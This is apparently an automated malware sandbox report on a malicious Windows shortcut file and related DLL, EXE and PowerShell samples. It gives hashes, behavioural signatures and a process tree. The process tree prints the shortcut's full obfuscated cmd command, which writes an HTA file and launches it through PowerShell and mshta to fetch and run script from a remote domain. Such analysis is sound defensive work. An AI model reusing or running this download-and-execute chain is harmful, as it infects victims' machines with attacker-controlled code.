Overview
overview
7Static
static
5599151.301...39.lnk
windows7-x64
5599151.301...39.lnk
windows10-2004-x64
7TUP3298063...ed.dll
windows7-x64
3TUP3298063...ed.dll
windows10-2004-x64
TUP3298063...on.dll
windows7-x64
1TUP3298063...on.dll
windows10-2004-x64
1TUP3298063...on.exe
windows7-x64
3TUP3298063...on.exe
windows10-2004-x64
3TUP3298063...n1.exe
windows7-x64
TUP3298063...n1.exe
windows10-2004-x64
TUP3298063...1_.ps1
windows7-x64
1TUP3298063...1_.ps1
windows10-2004-x64
1TUP3298063...32.dll
windows7-x64
1TUP3298063...32.dll
windows10-2004-x64
1TUP3298063...33.dll
windows7-x64
1TUP3298063...33.dll
windows10-2004-x64
1Analysis
-
max time kernel
121s -
max time network
125s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
02-04-2024 14:22
Static task
static1
Behavioral task
behavioral1
Sample
599151.301.25077.7868139.lnk
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
599151.301.25077.7868139.lnk
Resource
win10v2004-20240226-en
Behavioral task
behavioral3
Sample
TUP32980638916Y/ctfmon-dll-decoded.dll
Resource
win7-20240319-en
Behavioral task
behavioral4
Sample
TUP32980638916Y/ctfmon-dll-decoded.dll
Resource
win10v2004-20240226-en
Behavioral task
behavioral5
Sample
TUP32980638916Y/ctfmon.dll
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
TUP32980638916Y/ctfmon.dll
Resource
win10v2004-20240226-en
Behavioral task
behavioral7
Sample
TUP32980638916Y/ctfmon.exe
Resource
win7-20240221-en
Behavioral task
behavioral8
Sample
TUP32980638916Y/ctfmon.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral9
Sample
TUP32980638916Y/ctfmon1.exe
Resource
win7-20240221-en
Behavioral task
behavioral10
Sample
TUP32980638916Y/ctfmon1.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral11
Sample
TUP32980638916Y/ctfmon1_.ps1
Resource
win7-20240221-en
Behavioral task
behavioral12
Sample
TUP32980638916Y/ctfmon1_.ps1
Resource
win10v2004-20240226-en
Behavioral task
behavioral13
Sample
TUP32980638916Y/log32.dll
Resource
win7-20240221-en
Behavioral task
behavioral14
Sample
TUP32980638916Y/log32.dll
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
TUP32980638916Y/log33.dll
Resource
win7-20240215-en
Behavioral task
behavioral16
Sample
TUP32980638916Y/log33.dll
Resource
win10v2004-20240226-en
General
-
Target
599151.301.25077.7868139.lnk
-
Size
561B
-
MD5
57050773638b46dfc5f60930cd1cb266
-
SHA1
3219f88ea28c525eb35050939d2ecb01d6fa7282
-
SHA256
7ae01fd7aa0b5898eb36548024f2cc8156216322ea6402eb8f04180adfc9539d
-
SHA512
181885faf9a655befaa6755fd003fd674e1ccf201c6718e9693754f4d5704230d62982430997b9dd85eee9f9139997cd67ea7c9c171f91f245eaa497e9796712
Malware Config
Signatures
-
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2624 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2624 powershell.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
cmd.execmd.exepowershell.exedescription pid process target process PID 2764 wrote to memory of 2576 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2576 2764 cmd.exe cmd.exe PID 2764 wrote to memory of 2576 2764 cmd.exe cmd.exe PID 2576 wrote to memory of 2588 2576 cmd.exe cmd.exe PID 2576 wrote to memory of 2588 2576 cmd.exe cmd.exe PID 2576 wrote to memory of 2588 2576 cmd.exe cmd.exe PID 2576 wrote to memory of 2624 2576 cmd.exe powershell.exe PID 2576 wrote to memory of 2624 2576 cmd.exe powershell.exe PID 2576 wrote to memory of 2624 2576 cmd.exe powershell.exe PID 2624 wrote to memory of 2384 2624 powershell.exe mshta.exe PID 2624 wrote to memory of 2384 2624 powershell.exe mshta.exe PID 2624 wrote to memory of 2384 2624 powershell.exe mshta.exe PID 2624 wrote to memory of 2384 2624 powershell.exe mshta.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\599151.301.25077.7868139.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:2764 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /V/D/c "seT sKk=script&&seT px=powershell&&SEt NEGG=C:\Users\Public\Videos\^YqW&&SEt SMO=.H&&SEt XQGZ=^<!sKk!^>try{v6POar c='!sKk!:';d='h6POTtP:';G6POetObj6POect(c+d+'&&sET FIC=ZXEFMZXEFMwaa8.nolii.dateZXEFM?1ZXEFM');}catch(e){}close();^</!sKk!^>&&sEt/^p YE8N="%XQGZ:6PO=%%FIC:ZXEFM=/%"<nul > %NEGG%%SMO%ta|!px! -Command "& '!NEGG!!SMO!ta' "2⤵
- Suspicious use of WriteProcessMemory
PID:2576 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" sEt/p YE8N="%XQGZ:6PO=%%FIC:ZXEFM=/%" 0<nul 1>%NEGG%%SMO%ta"3⤵PID:2588
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "& 'C:\Users\Public\Videos\YqW.Hta'3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2624 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Public\Videos\YqW.Hta"4⤵
- Modifies Internet Explorer settings
PID:2384
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
105B
MD58242e1808eac09b7264a697fc98c2f37
SHA134a5dca8f5eeb3edb9a73f0e544be74049506325
SHA256c43738a850d1ae9d59f39d592cdc3faca6a327735dbaaa9c979b5036dba72937
SHA51209906f3479661b52fe980e54cca55bbe67aa5a01c912d414d77fe11e6eb7ed6a3c4c5ae5abb991734e657219a8a7164d655a2106913330cea9a7014746f29d6d